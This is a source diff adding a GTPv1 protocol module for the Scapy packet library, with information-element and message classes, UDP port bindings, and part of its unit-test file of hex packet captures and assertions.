+class IE_IMSI(IE_Base):
+    name = "IMSI - Subscriber identity of the MS"
+    fields_desc = [ByteEnumField("ietype", 2, IEType),
+                   TBCDByteField("imsi", str(RandNum(0, 999999999999999)), 8)]
+
+
+class IE_Routing(IE_Base):
+    name = "Routing Area Identity"
+    fields_desc = [ ByteEnumField("ietype", 3, IEType),
+                    TBCDByteField("MCC", "", 2),
+                    # MNC: if the third digit of MCC is 0xf,
+                    # then the length of MNC is 1 byte
+                    TBCDByteField("MNC", "", 1),
+                    ShortField("LAC", None),
+                    ByteField("RAC", None) ]
+
+
+class IE_ReorderingRequired(IE_Base):
+    name = "Recovery"
+    fields_desc = [ByteEnumField("ietype", 8, IEType),
+                   ByteEnumField("reordering_required", 254, TrueFalse_value)]
+
+
+class IE_Recovery(IE_Base):
+    name = "Recovery"
+    fields_desc = [ ByteEnumField("ietype", 14, IEType),
+                    ByteField("restart_counter", 24) ]
+
+
+class IE_SelectionMode(IE_Base):
+    # Indicates the origin of the APN in the message
+    name = "Selection Mode"
+    fields_desc = [ ByteEnumField("ietype", 15, IEType),
+                    BitEnumField("SelectionMode", "MS or APN", 
+                                 8, Selection_Mode) ]
+
+
+class IE_TEIDI(IE_Base):
+    name = "Tunnel Endpoint Identifier Data"
+    fields_desc = [ ByteEnumField("ietype", 16, IEType),
+                    XIntField("TEIDI", RandInt()) ]
+
+
+class IE_TEICP(IE_Base):
+    name = "Tunnel Endpoint Identifier Control Plane"
+    fields_desc = [ ByteEnumField("ietype", 17, IEType),
+                    XIntField("TEICI", RandInt())]
+
+
+class IE_Teardown(IE_Base):
+    name = "Teardown Indicator"
+    fields_desc = [ ByteEnumField("ietype", 19, IEType),
+                    ByteEnumField("indicator", "True", TrueFalse_value) ]
+
+
+class IE_NSAPI(IE_Base):
+    # Identifies a PDP context in a mobility management context specified by TEICP
+    name = "NSAPI"
+    fields_desc = [ ByteEnumField("ietype", 20, IEType),
+                    XBitField("sparebits", 0x0000, 4),
+                    XBitField("NSAPI", RandNum(0, 15), 4) ]
+
+
+class IE_ChargingCharacteristics(IE_Base):
+    # Way of informing both the SGSN and GGSN of the rules for 
+    name = "Charging Characteristics"
+    fields_desc = [ ByteEnumField("ietype", 26, IEType),
+                    # producing charging information based on operator configured triggers.
+                    #    0000 .... .... .... : spare
+                    #    .... 1... .... .... : normal charging
+                    #    .... .0.. .... .... : prepaid charging
+                    #    .... ..0. .... .... : flat rate charging
+                    #    .... ...0 .... .... : hot billing charging
+                    #    .... .... 0000 0000 : reserved
+                    XBitField("Ch_ChSpare", None, 4),
+                    XBitField("normal_charging", None, 1),
+                    XBitField("prepaid_charging", None, 1),
+                    XBitField("flat_rate_charging", None, 1),
+                    XBitField("hot_billing_charging", None, 1),
+                    XBitField("Ch_ChReserved", 0, 8) ]
+
+class IE_TraceReference(IE_Base):
+    # Identifies a record or a collection of records for a particular trace.
+    name = "Trace Reference"
+    fields_desc = [ ByteEnumField("ietype", 27, IEType),
+                    XBitField("Trace_reference", None, 16) ]
+
+
+class IE_TraceType(IE_Base):
+    # Indicates the type of the trace
+    name = "Trace Type"
+    fields_desc = [ ByteEnumField("ietype", 28, IEType),
+                    XBitField("Trace_type", None, 16) ]
+
+
+class IE_ChargingId(IE_Base):
+    name = "Charging ID"
+    fields_desc = [ByteEnumField("ietype", 127, IEType),
+                   XIntField("Charging_id", RandInt())]
+
+
+class IE_EndUserAddress(IE_Base):
+    # Supply protocol specific information of the external packet 
+    name = "End User Addresss"
+    fields_desc = [ ByteEnumField("ietype", 128, IEType),
+                    #         data network accessed by the GGPRS subscribers.
+                    #            - Request
+                    #                1    Type (1byte)
+                    #                2-3    Length (2bytes) - value 2
+                    #                4    Spare + PDP Type Organization
+                    #                5    PDP Type Number    
+                    #            - Response
+                    #                6-n    PDP Address
+                    ShortField("length", 2),
+                    BitField("SPARE", 15, 4),
+                    BitField("PDPTypeOrganization", 1, 4),
+                    XByteField("PDPTypeNumber", None),
+                    ConditionalField(IPField("PDPAddress", RandIP()),
+                                     lambda pkt: pkt.length > 2)]
+
+
+class APNStrLenField(StrLenField):
+    # Inspired by DNSStrField
+    def m2i(self, pkt, s):
+        ret_s = b""
+        tmp_s = s
+        while tmp_s:
+            tmp_len = orb(tmp_s[0]) + 1
+            if tmp_len > len(tmp_s):
+                warning("APN prematured end of character-string (size=%i, remaining bytes=%i)" % (tmp_len, len(tmp_s)))
+            ret_s +=  tmp_s[1:tmp_len] 
+            tmp_s = tmp_s[tmp_len:]
+            if len(tmp_s) :
+                ret_s += b"."
+        s = ret_s
+        return s
+    def i2m(self, pkt, s):
+        s = b"".join(chb(len(x)) + x for x in s.split("."))
+        return s
+
+
+class IE_AccessPointName(IE_Base):
+    # Sent by SGSN or by GGSN as defined in 3GPP TS 23.060
+    name = "Access Point Name"
+    fields_desc = [ ByteEnumField("ietype", 131, IEType),
+                    ShortField("length",  None),
+                    APNStrLenField("APN", "nternet", length_from=lambda x: x.length) ]
+
+    def post_build(self, p, pay):
+        if self.length is None:
+            l = len(p)-3
+            p = p[:2] + struct.pack("!B", l)+ p[3:]
+        return p
+
+
+class IE_ProtocolConfigurationOptions(IE_Base):
+    name = "Protocol Configuration Options"
+    fields_desc = [ ByteEnumField("ietype", 132, IEType),
+            ShortField("length", 4),
+            StrLenField("Protocol_Configuration", "", 
+                        length_from=lambda x: x.length) ]
+
+
+class IE_GSNAddress(IE_Base):
+    name = "GSN Address"
+    fields_desc = [ ByteEnumField("ietype", 133, IEType),
+                    ShortField("length", 4),
+                    IPField("address", RandIP()) ]
+
+
+class IE_MSInternationalNumber(IE_Base):
+    name = "MS International Number"
+    fields_desc = [ ByteEnumField("ietype", 134, IEType),
+                    ShortField("length", None),
+                    FlagsField("flags", 0x91, 8, ["Extension","","","International Number","","","","ISDN numbering"]),
+                    TBCDByteField("digits", "33607080910", length_from=lambda x: x.length-1) ]
+
+
+class QoS_Profile(IE_Base):
+    name = "QoS profile"
+    fields_desc = [ByteField("qos_ei", 0),
+                   ByteField("length", None),
+                   XBitField("spare", 0x00, 2),
+                   XBitField("delay_class", 0x000, 3),
+                   XBitField("reliability_class", 0x000, 3),
+                   XBitField("peak_troughput", 0x0000, 4),
+                   BitField("spare", 0, 1),
+                   XBitField("precedence_class", 0x000, 3),
+                   XBitField("spare", 0x000, 3),
+                   XBitField("mean_troughput", 0x00000, 5),
+                   XBitField("traffic_class", 0x000, 3),
+                   XBitField("delivery_order", 0x00, 2),
+                   XBitField("delivery_of_err_sdu", 0x000, 3),
+                   ByteField("max_sdu_size", None),
+                   ByteField("max_bitrate_up", None),
+                   ByteField("max_bitrate_down", None),
+                   XBitField("redidual_ber", 0x0000, 4),
+                   XBitField("sdu_err_ratio", 0x0000, 4),
+                   XBitField("transfer_delay", 0x00000, 5),
+                   XBitField("traffic_handling_prio", 0x000, 3),
+                   ByteField("guaranteed_bit_rate_up", None),
+                   ByteField("guaranteed_bit_rate_down", None)]
+
+
+class IE_QoS(IE_Base):
+    name = "QoS"
+    fields_desc = [ByteEnumField("ietype", 135, IEType),
+                   ShortField("length", None),
+                   ByteField("allocation_retention_prioiry", 1),
+
+                   ConditionalField(XBitField("spare", 0x00, 2),
+                                    lambda pkt: pkt.length > 1),
+                   ConditionalField(XBitField("delay_class", 0x000, 3),
+                                    lambda pkt: pkt.length > 1),
+                   ConditionalField(XBitField("reliability_class", 0x000, 3),
+                                    lambda pkt: pkt.length > 1),
+
+                   ConditionalField(XBitField("peak_troughput", 0x0000, 4),
+                                    lambda pkt: pkt.length > 2),
+                   ConditionalField(BitField("spare", 0, 1),
+                                    lambda pkt: pkt.length > 2),
+                   ConditionalField(XBitField("precedence_class", 0x000, 3),
+                                    lambda pkt: pkt.length > 2),
+
+                   ConditionalField(XBitField("spare", 0x000, 3),
+                                    lambda pkt: pkt.length > 3),
+                   ConditionalField(XBitField("mean_troughput", 0x00000, 5),
+                                    lambda pkt: pkt.length > 3),
+
+                   ConditionalField(XBitField("traffic_class", 0x000, 3),
+                                    lambda pkt: pkt.length > 4),
+                   ConditionalField(XBitField("delivery_order", 0x00, 2),
+                                    lambda pkt: pkt.length > 4),
+                   ConditionalField(XBitField("delivery_of_err_sdu", 0x000, 3),
+                                    lambda pkt: pkt.length > 4),
+
+                   ConditionalField(ByteField("max_sdu_size", None),
+                                    lambda pkt: pkt.length > 5),
+                   ConditionalField(ByteField("max_bitrate_up", None),
+                                    lambda pkt: pkt.length > 6),
+                   ConditionalField(ByteField("max_bitrate_down", None),
+                                    lambda pkt: pkt.length > 7),
+
+                   ConditionalField(XBitField("redidual_ber", 0x0000, 4),
+                                    lambda pkt: pkt.length > 8),
+                   ConditionalField(XBitField("sdu_err_ratio", 0x0000, 4),
+                                    lambda pkt: pkt.length > 8),
+                   ConditionalField(XBitField("transfer_delay", 0x00000, 6),
+                                    lambda pkt: pkt.length > 9),
+                   ConditionalField(XBitField("traffic_handling_prio",
+                                              0x000,
+                                              2),
+                                    lambda pkt: pkt.length > 9),
+
+                   ConditionalField(ByteField("guaranteed_bit_rate_up", None),
+                                    lambda pkt: pkt.length > 10),
+                   ConditionalField(ByteField("guaranteed_bit_rate_down",
+                                              None),
+                                    lambda pkt: pkt.length > 11),
+
+                   ConditionalField(XBitField("spare", 0x000, 3),
+                                    lambda pkt: pkt.length > 12),
+                   ConditionalField(BitField("signaling_indication", 0, 1),
+                                    lambda pkt: pkt.length > 12),
+                   ConditionalField(XBitField("source_stats_desc", 0x0000, 4),
+                                    lambda pkt: pkt.length > 12),
+
+                   ConditionalField(ByteField("max_bitrate_down_ext", None),
+                                    lambda pkt: pkt.length > 13),
+                   ConditionalField(ByteField("guaranteed_bitrate_down_ext",
+                                              None),
+                                    lambda pkt: pkt.length > 14),
+                   ConditionalField(ByteField("max_bitrate_up_ext", None),
+                                    lambda pkt: pkt.length > 15),
+                   ConditionalField(ByteField("guaranteed_bitrate_up_ext",
+                                              None),
+                                    lambda pkt: pkt.length > 16),
+                   ConditionalField(ByteField("max_bitrate_down_ext2", None),
+                                    lambda pkt: pkt.length > 17),
+                   ConditionalField(ByteField("guaranteed_bitrate_down_ext2",
+                                              None),
+                                    lambda pkt: pkt.length > 18),
+                   ConditionalField(ByteField("max_bitrate_up_ext2", None),
+                                    lambda pkt: pkt.length > 19),
+                   ConditionalField(ByteField("guaranteed_bitrate_up_ext2",
+                                              None),
+                                    lambda pkt: pkt.length > 20)]
+
+
+class IE_CommonFlags(IE_Base):
+    name = "Common Flags"
+    fields_desc = [ByteEnumField("ietype", 148, IEType),
+                   ShortField("length", None),
+                   BitField("dual_addr_bearer_fl", 0, 1),
+                   BitField("upgrade_qos_supported", 0, 1),
+                   BitField("nrsn", 0, 1),
+                   BitField("no_qos_nego", 0, 1),
+                   BitField("mbms_cnting_info", 0, 1),
+                   BitField("ran_procedure_ready", 0, 1),
+                   BitField("mbms_service_type", 0, 1),
+                   BitField("prohibit_payload_compression", 0, 1)]
+
+
+class IE_APNRestriction(IE_Base):
+    name = "APN Restriction"
+    fields_desc = [ByteEnumField("ietype", 149, IEType),
+                   ShortField("length", 1),
+                   ByteField("restriction_type_value", 0)]
+
+
+class IE_RATType(IE_Base):
+    name = "Rat Type"
+    fields_desc = [ByteEnumField("ietype", 151, IEType),
+                   ShortField("length", 1),
+                   ByteEnumField("RAT_Type", None, RATType)]
+
+
+class IE_UserLocationInformation(IE_Base):
+    name = "User Location Information"
+    fields_desc = [ ByteEnumField("ietype", 152, IEType),
+                    ShortField("length", None),
+                    ByteField("type", 1),
+                    # Only type 1 is currently supported
+                    TBCDByteField("MCC", "", 2),
+                    # MNC: if the third digit of MCC is 0xf, then the length of MNC is 1 byte
+                    TBCDByteField("MNC", "", 1),
+                    ShortField("LAC", None),
+                    ShortField("SAC", None) ]
+
+
+class IE_MSTimeZone(IE_Base):
+    name = "MS Time Zone"
+    fields_desc = [ByteEnumField("ietype", 153, IEType),
+                   ShortField("length", None),
+                   ByteField("timezone", 0),
+                   BitField("Spare", 0, 1),
+                   BitField("Spare", 0, 1),
+                   BitField("Spare", 0, 1),
+                   BitField("Spare", 0, 1),
+                   BitField("Spare", 0, 1),
+                   BitField("Spare", 0, 1),
+                   XBitField("daylight_saving_time", 0x00, 2)]
+
+
+class IE_IMEI(IE_Base):
+    name = "IMEI"
+    fields_desc = [ ByteEnumField("ietype", 154, IEType),
+                    ShortField("length", None),
+                    TBCDByteField("IMEI", "", length_from=lambda x: x.length) ]
+
+
+class IE_MSInfoChangeReportingAction(IE_Base):
+    name = "MS Info Change Reporting Action"
+    fields_desc = [ByteEnumField("ietype", 181, IEType),
+                   ShortField("length", 1),
+                   ByteField("Action", 0)]
+
+
+class IE_DirectTunnelFlags(IE_Base):
+    name = "Direct Tunnel Flags"
+    fields_desc = [ByteEnumField("ietype", 182, IEType),
+                   ShortField("length", 1),
+                   BitField("Spare", 0, 1),
+                   BitField("Spare", 0, 1),
+                   BitField("Spare", 0, 1),
+                   BitField("Spare", 0, 1),
+                   BitField("Spare", 0, 1),
+                   BitField("EI", 0, 1),
+                   BitField("GCSI", 0, 1),
+                   BitField("DTI", 0, 1)]
+
+
+class IE_BearerControlMode(IE_Base):
+    name = "Bearer Control Mode"
+    fields_desc = [ByteEnumField("ietype", 184, IEType),
+                   ShortField("length", 1),
+                   ByteField("bearer_control_mode", 0)]
+
+
+class IE_EvolvedAllocationRetentionPriority(IE_Base):
+    name = "Evolved Allocation/Retention Priority"
+    fields_desc = [ByteEnumField("ietype", 191, IEType),
+                   ShortField("length", 1),
+                   BitField("Spare", 0, 1),
+                   BitField("PCI", 0, 1),
+                   XBitField("PL", 0x0000, 4),
+                   BitField("Spare", 0, 1),
+                   BitField("PVI", 0, 1)]
+
+
+class IE_CharginGatewayAddress(IE_Base):
+    name = "Chargin Gateway Address"
+    fields_desc = [ByteEnumField("ietype", 251, IEType),
+                   ShortField("length", 4),
+                   ConditionalField(IPField("ipv4_address", "127.0.0.1"),
+                                    lambda
+                                    pkt: pkt.length == 4),
+                   ConditionalField(IP6Field("ipv6_address", "::1"), lambda
+                                    pkt: pkt.length == 16)]
+
+
+class IE_PrivateExtension(IE_Base):
+    name = "Private Extension"
+    fields_desc = [ByteEnumField("ietype", 255, IEType),
+                   ShortField("length", 1),
+                   ByteField("extension identifier", 0),
+                   StrLenField("extention_value", "",
+                               length_from=lambda x: x.length)]
+
+class IE_ExtensionHeaderList(IE_Base):
+    name = "Extension Header List"
+    fields_desc = [ByteEnumField("ietype", 141, IEType),
+                   FieldLenField("length", None, length_of="extension_headers"),
+                   FieldListField("extension_headers", [64, 192], ByteField("", 0))]
+
+class IE_NotImplementedTLV(Packet):
+    name = "IE not implemented"
+    fields_desc = [ ByteEnumField("ietype", 0, IEType),
+                    ShortField("length",  None),
+                    StrLenField("data", "", length_from=lambda x: x.length) ]
+    def extract_padding(self, pkt):
+        return "",pkt
+
+
+ietypecls = {1: IE_Cause,
+             2: IE_IMSI,
+             3: IE_Routing,
+             8: IE_ReorderingRequired,
+             14: IE_Recovery,
+             15: IE_SelectionMode,
+             16: IE_TEIDI,
+             17: IE_TEICP,
+             19: IE_Teardown,
+             20: IE_NSAPI,
+             26: IE_ChargingCharacteristics,
+             27: IE_TraceReference,
+             28: IE_TraceType,
+             127: IE_ChargingId,
+             128: IE_EndUserAddress,
+             131: IE_AccessPointName,
+             132: IE_ProtocolConfigurationOptions,
+             133: IE_GSNAddress,
+             134: IE_MSInternationalNumber,
+             135: IE_QoS,
+             141: IE_ExtensionHeaderList,
+             148: IE_CommonFlags,
+             149: IE_APNRestriction,
+             151: IE_RATType,
+             152: IE_UserLocationInformation,
+             153: IE_MSTimeZone,
+             154: IE_IMEI,
+             181: IE_MSInfoChangeReportingAction,
+             182: IE_DirectTunnelFlags,
+             184: IE_BearerControlMode,
+             191: IE_EvolvedAllocationRetentionPriority,
+             251: IE_CharginGatewayAddress,
+             255: IE_PrivateExtension}
+
+
+def IE_Dispatcher(s):
+    """Choose the correct Information Element class."""
+    if len(s) < 1:
+        return Raw(s)
+    # Get the IE type
+    ietype = orb(s[0])
+    cls = ietypecls.get(ietype, Raw)
+
+    # if ietype greater than 128 are TLVs
+    if cls == Raw and ietype & 128 == 128:
+        cls = IE_NotImplementedTLV
+    return cls(s)
+
+class GTPEchoResponse(Packet):
+    # 3GPP TS 29.060 V9.1.0 (2009-12)
+    name = "GTP Echo Response"
+    fields_desc = [ PacketListField("IE_list", [], IE_Dispatcher) ]
+
+    def hashret(self):
+        return struct.pack("H", self.seq)
+
+    def answers(self, other):
+        return self.seq == other.seq
+
+
+class GTPCreatePDPContextRequest(Packet):
+    # 3GPP TS 29.060 V9.1.0 (2009-12)
+    name = "GTP Create PDP Context Request"
+    fields_desc = [ PacketListField("IE_list", [ IE_TEIDI(), IE_NSAPI(), IE_GSNAddress(),
+                                                 IE_GSNAddress(),
+                                                 IE_NotImplementedTLV(ietype=135, length=15,data=RandString(15)) ],
+                                    IE_Dispatcher) ]
+    def hashret(self):
+        return struct.pack("H", self.seq)
+
+class GTPCreatePDPContextResponse(Packet):
+    # 3GPP TS 29.060 V9.1.0 (2009-12)
+    name = "GTP Create PDP Context Response"
+    fields_desc = [ PacketListField("IE_list", [], IE_Dispatcher) ]
+
+    def hashret(self):
+        return struct.pack("H", self.seq)
+
+    def answers(self, other):
+        return self.seq == other.seq
+
+
+class GTPUpdatePDPContextRequest(Packet):
+    # 3GPP TS 29.060 V9.1.0 (2009-12)
+    name = "GTP Update PDP Context Request"
+    fields_desc = [PacketListField("IE_list", [
+                       IE_Cause(),
+                       IE_Recovery(),
+                       IE_TEIDI(),
+                       IE_TEICP(),
+                       IE_ChargingId(),
+                       IE_ProtocolConfigurationOptions(),
+                       IE_GSNAddress(),
+                       IE_GSNAddress(),
+                       IE_GSNAddress(),
+                       IE_GSNAddress(),
+                       IE_QoS(),
+                       IE_CharginGatewayAddress(),
+                       IE_CharginGatewayAddress(),
+                       IE_CommonFlags(),
+                       IE_APNRestriction(),
+                       IE_BearerControlMode(),
+                       IE_MSInfoChangeReportingAction(),
+                       IE_EvolvedAllocationRetentionPriority(),
+                       IE_PrivateExtension()],
+        IE_Dispatcher)]
+
+    def hashret(self):
+        return struct.pack("H", self.seq)
+
+
+class GTPUpdatePDPContextResponse(Packet):
+    # 3GPP TS 29.060 V9.1.0 (2009-12)
+    name = "GTP Update PDP Context Response"
+    fields_desc = [PacketListField("IE_list", None, IE_Dispatcher)]
+
+    def hashret(self):
+        return struct.pack("H", self.seq)
+
+
+class GTPErrorIndication(Packet):
+    # 3GPP TS 29.060 V9.1.0 (2009-12)
+    name = "GTP Error Indication"
+    fields_desc = [ PacketListField("IE_list", [], IE_Dispatcher) ]
+
+class GTPDeletePDPContextRequest(Packet):
+    # 3GPP TS 29.060 V9.1.0 (2009-12)
+    name = "GTP Delete PDP Context Request"
+    fields_desc = [ PacketListField("IE_list", [], IE_Dispatcher) ]
+
+class GTPDeletePDPContextResponse(Packet):
+    # 3GPP TS 29.060 V9.1.0 (2009-12)
+    name = "GTP Delete PDP Context Response"
+    fields_desc = [ PacketListField("IE_list", [], IE_Dispatcher) ]
+
+class GTPPDUNotificationRequest(Packet):
+    # 3GPP TS 29.060 V9.1.0 (2009-12)
+    name = "GTP PDU Notification Request"
+    fields_desc = [ PacketListField("IE_list", [ IE_IMSI(),
+                        IE_TEICP(TEICI=RandInt()),
+                        IE_EndUserAddress(PDPTypeNumber=0x21),
+                        IE_AccessPointName(),
+                        IE_GSNAddress(address="127.0.0.1"),
+                        ], IE_Dispatcher) ]
+
+class GTPSupportedExtensionHeadersNotification(Packet):
+    name = "GTP Supported Extension Headers Notification"
+    fields_desc = [ PacketListField("IE_list", [ IE_ExtensionHeaderList(),
+                        ], IE_Dispatcher) ]
+
+class GTPErrorIndication(Packet):
+    name = "GTP Error Indication"
+    fields_desc = [ PacketListField("IE_list", [], IE_Dispatcher) ]
+    
+class GTPmorethan1500(Packet):
+    # 3GPP TS 29.060 V9.1.0 (2009-12)
+    name = "GTP More than 1500"
+    fields_desc = [ ByteEnumField("IE_Cause", "Cause", IEType),
+                    BitField("IE", 1, 12000),]
+
+# Bind GTP-C
+bind_layers(UDP, GTPHeader, dport = 2123)
+bind_layers(UDP, GTPHeader, sport = 2123)
+bind_layers(GTPHeader, GTPEchoRequest, gtp_type=1, S=1)
+bind_layers(GTPHeader, GTPEchoResponse, gtp_type=2, S=1)
+bind_layers(GTPHeader, GTPCreatePDPContextRequest, gtp_type=16)
+bind_layers(GTPHeader, GTPCreatePDPContextResponse, gtp_type=17)
+bind_layers(GTPHeader, GTPUpdatePDPContextRequest, gtp_type=18)
+bind_layers(GTPHeader, GTPUpdatePDPContextResponse, gtp_type=19)
+bind_layers(GTPHeader, GTPDeletePDPContextRequest, gtp_type=20)
+bind_layers(GTPHeader, GTPDeletePDPContextResponse, gtp_type=21)
+bind_layers(GTPHeader, GTPPDUNotificationRequest, gtp_type=27)
+bind_layers(GTPHeader, GTPSupportedExtensionHeadersNotification, gtp_type=31, S=1)
+bind_layers(GTPHeader, GTP_UDPPort_ExtensionHeader, next_ex=64, E=1)
+bind_layers(GTPHeader, GTP_PDCP_PDU_ExtensionHeader, next_ex=192, E=1)
+
+# Bind GTP-U
+bind_layers(UDP, GTP_U_Header, dport = 2152)
+bind_layers(UDP, GTP_U_Header, sport = 2152)
+bind_layers(GTP_U_Header, GTPErrorIndication, gtp_type=26, S=1)
+bind_layers(GTP_U_Header, IP, gtp_type = 255)
+
+if __name__ == "__main__":
+    from scapy.all import *
+    interact(mydict=globals(), mybanner="GTPv1 add-on")
diff --git a/scapy/contrib/gtp.uts b/scapy/contrib/gtp.uts
new file mode 100644
index 0000000..d1de5eb
--- /dev/null
+++ b/scapy/contrib/gtp.uts
@@ -0,0 +1,303 @@
+# GTP unit tests
+#
+# Type the following command to launch start the tests:
+# $ test/run_tests -P "load_contrib('gtp')" -t scapy/contrib/gtp.uts
+
++ GTPv1
+
+= GTPHeader, basic instanciation
+
+a = GTPHeader()
+assert a.version == 1
+assert a.E == a.S == a.PN == 0
+
+= GTP_U_Header detection
+
+a = GTPHeader(raw(GTP_U_Header()/GTPErrorIndication()))
+assert isinstance(a, GTP_U_Header)
+
+= GTPCreatePDPContextRequest(), basic instanciation
+gtp = IP(src="127.0.0.1")/UDP(dport=2123)/GTPHeader(teid=2807)/GTPCreatePDPContextRequest()
+gtp.dport == 2123 and gtp.teid == 2807 and len(gtp.IE_list) == 5
+
+= GTPCreatePDPContextRequest(), basic dissection
+~ random_weird_py3
+random.seed(0x2807)
+assert raw(gtp) in [b"E\x00\x00K\x00\x01\x00\x00@\x11|\x9f\x7f\x00\x00\x01\x7f\x00\x00\x01\x08K\x08K\x007\x1c\xdb0\x10\x00'\x00\x00\n\xf7\x10A\xb77-\x14\x0f\x85\x00\x04\xd6!-b\x85\x00\x04\xbf\xf8\xc9Z\x87\x00\x0faWdWRWX0qEAXLPE",
+                    b"E\x00\x00K\x00\x01\x00\x00@\x11|\x9f\x7f\x00\x00\x01\x7f\x00\x00\x01\x08K\x08K\x007J\r0\x10\x00'\x00\x00\n\xf7\x10\xab\xec\x14Y\x14\n\x85\x00\x04\xbb((,\x85\x00\x04V*\xe0\xff\x87\x00\x0f0eQSJUqm06eIP1Q"]
+
+= GTPV1UpdatePDPContextRequest(), dissect
+h = "3333333333332222222222228100a38408004588006800000000fd1134820a2a00010a2a00024aa5084b005408bb32120044ed99aea9386f0000100000530514058500040a2a00018500040a2a000187000c0213921f739680fe74f2ffff94000130970001019800080112f41004d204d29900024000b6000101"
+gtp = Ether(hex_bytes(h))
+assert gtp.gtp_type == 18
+assert gtp.next_ex == 0
+
+= GTPV1UpdatePDPContextResponse(), dissect
+h = "3333333333332222222222228100838408004588005400000000fd1182850a2a00010a2a0002084b084b00406b46321300305843da17f07300000180100000032c7f4a0f58108500040a2a00018500040a2a000187000f0213921f7396d1fe7482ffff004a00f7a71e0a"
+gtp = Ether(hex_bytes(h))
+gtp.gtp_type == 19
+
+= IE_Cause(), dissect
+h = "3333333333332222222222228100838408004588005400000000fd1182850a2a00010a2a0002084b084b00406b4632130030f15422be19ed0000018010000046a97f4a0f58108500040a2a00018500040a2a000187000f0213921f7396d1fe7482ffff004a00f7a71e0a"
+gtp = Ether(hex_bytes(h))
+ie = gtp.IE_list[0]
+ie.ietype == 1 and ie.CauseValue == 128
+
+= IE_Cause(), basic instantiation
+ie = IE_Cause(CauseValue='IMSI not known')
+ie.ietype == 1 and ie.CauseValue == 194
+
+= IE_IMSI(), dissect
+h = "333333333333222222222222810083840800458800ba00000000fc1185060a2a00010a2a00024ace084b00a68204321000960eeec43e99ae00000202081132547600000332f42004d27b0ffc102c0787b611b2f9023914051a0400800002f1218300070661616161616184001480802110010100108106000000008306000000008500040a2a00018500040a2a00018600079111111111111187000d0213621f7396737374f2ffff0094000120970001029800080032f42004d204d299000240009a00081111111111110000d111193b"
+gtp = Ether(hex_bytes(h))
+ie = gtp.IE_list[0]
+ie.ietype == 2 and ie.imsi == b'2080112345670000'
+
+= IE_IMSI(), basic instantiation
+ie = IE_IMSI(imsi='208103397660354')
+ie.ietype == 2 and ie.imsi == b'208103397660354'
+
+= IE_Routing(), dissect
+h = "33333333333322222222222281008384080045880072647100003e11dcf60a2a00010a2a0002084b084b005e78d93212004ef51a4ac3a291ff000332f42004d27b10eb3981b414058500040a2a00018500040a2a000187000f0213921f7396d1fe7482ffff004a0094000110970001019800080132f42004d204d299000240fcb60001015bf2090f"
+gtp = Ether(hex_bytes(h))
+ie = gtp.IE_list[0]
+ie.ietype == 3 and ie.MCC == b'234' and ie.MNC == b'02' and ie.LAC == 1234 and ie.RAC == 123
+
+= IE_Routing(), basic instantiation
+ie = IE_Routing(MCC='234', MNC='02', LAC=1234, RAC=123)
+ie.ietype == 3 and ie.MCC == b'234' and ie.MNC == b'02' and ie.LAC == 1234 and ie.RAC == 123
+
+= IE_Recovery(), dissect
+h = "3333333333332222222222228100038408004500002ac6e60000fd11ccbc0a2a00010a2a0002084b084b001659db32020006c192a26c8cb400000e0e00000000f4b40b31"
+gtp = Ether(hex_bytes(h))
+ie = gtp.IE_list[0]
+ie.ietype == 14 and ie.restart_counter == 14
+
+= IE_Recovery(), basic instantiation
+ie = IE_Recovery(restart_counter=14)
+ie.ietype == 14 and ie.restart_counter == 14
+
+= IE_SelectionMode(), dissect
+h = "333333333333222222222222810083840800458800c500000000fc1184df0a2a00010a2a00024a55084b00b1f62a321000a11c025b77dccc00000202081132547600000332f42004d27b0ffc1055080923117c347b6a14051a0a00800002f1218300070661616161616184001d8080211001000010810600000000830600000000000d00000a000005008500040a2a00018500040a2a00018600079111111111111187000f0213921f7396d3fe74f2ffff00640094000120970001019800080132f42004d204d299000240009a00081111111111110000eea69220"
+gtp = Ether(hex_bytes(h))
+ie = gtp.IE_list[2]
+ie.ietype == 15 and ie.SelectionMode == 252
+
+= IE_SelectionMode(), basic instantiation
+ie = IE_SelectionMode(SelectionMode=252)
+ie.ietype == 15 and ie.SelectionMode == 252
+
+= IE_TEIDI(), dissect
+h = "3333333333332222222222228100838408004588005400000000fd1182850a2a00010a2a0002084b084b00406b46321300303f0ff4fb966f00000180109a0f08ef7f3af826978500040a2a00018500040a2a000187000f0213921f7396d1fe7482ffff004a00f7a71e0a"
+gtp = Ether(hex_bytes(h))
+ie = gtp.IE_list[1]
+ie.ietype == 16 and ie.TEIDI == 0x9a0f08ef
+
+= IE_TEIDI(), basic instantiation
+ie = IE_TEIDI(TEIDI=0x9a0f08ef)
+ie.ietype == 16 and ie.TEIDI == 0x9a0f08ef
+
+= IE_TEICP(), dissect
+h = "333333333333222222222222810083840800458800c500000000fc1184df0a2a00010a2a00024a55084b00b1f62a321000a1b75eb617464800000202081132547600000332f42004d27b0ffc10db5c765711ba5d87ba14051a0a00800002f1218300070661616161616184001d8080211001000010810600000000830600000000000d00000a000005008500040a2a00018500040a2a00018600079111111111111187000f0213921f7396d3fe74f2ffff00640094000120970001019800080132f42004d204d299000240009a00081111111111110000eea69220"
+gtp = Ether(hex_bytes(h))
+ie = gtp.IE_list[4]
+ie.ietype == 17 and ie.TEICI == 0xba5d87ba
+
+= IE_TEICP(), basic instantiation
+ie = IE_TEICP(TEICI=0xba5d87ba)
+ie.ietype == 17 and ie.TEICI == 0xba5d87ba
+
+= IE_Teardown(), dissect
+h = "3333333333332222222222228100838408004588002c00000000fd1184640a2a00010a2a00023d66084b00184c2232140008ba66ce5b6efe000013ff14050000c309006c"
+gtp = Ether(hex_bytes(h))
+ie = gtp.IE_list[0]
+ie.ietype == 19 and ie.indicator == 255
+
+= IE_Teardown(), basic instantiation
+ie = IE_Teardown(indicator='True')
+ie.ietype == 19 and ie.indicator == 255
+
+= IE_NSAPI(), dissect
+h = "3333333333332222222222228100838408004588002c00000000fd1184640a2a00010a2a00023d66084b00184c2232140008dafc273ee7ab000013ff14050000c309006c"
+gtp = Ether(hex_bytes(h))
+ie = gtp.IE_list[1]
+ie.ietype == 20 and ie.NSAPI == 5
+
+= IE_NSAPI(), basic instantiation
+ie = IE_NSAPI(NSAPI=5)
+ie.ietype == 20 and ie.NSAPI == 5
+
+= IE_ChargingCharacteristics(), dissect
+h = "333333333333222222222222810083840800458800bc00000000fc1184c90a2a00010a2a00024acf084b00a87bbb32100098a3e2565004a400000202081132547600000332f42004d27b0ffc10b87f17ad11c53c5e1b14051a0400800002f1218300070661616161616184001480802110010000108106000000008306000000008500040a2a00018500040a2a00018600079111111111111187000f0213921f7396d3fe74f2ffff004a0094000120970001019800080132f42004d204d299000240009a00081111111111110000951c5bbe"
+gtp = Ether(hex_bytes(h))
+ie = gtp.IE_list[6]
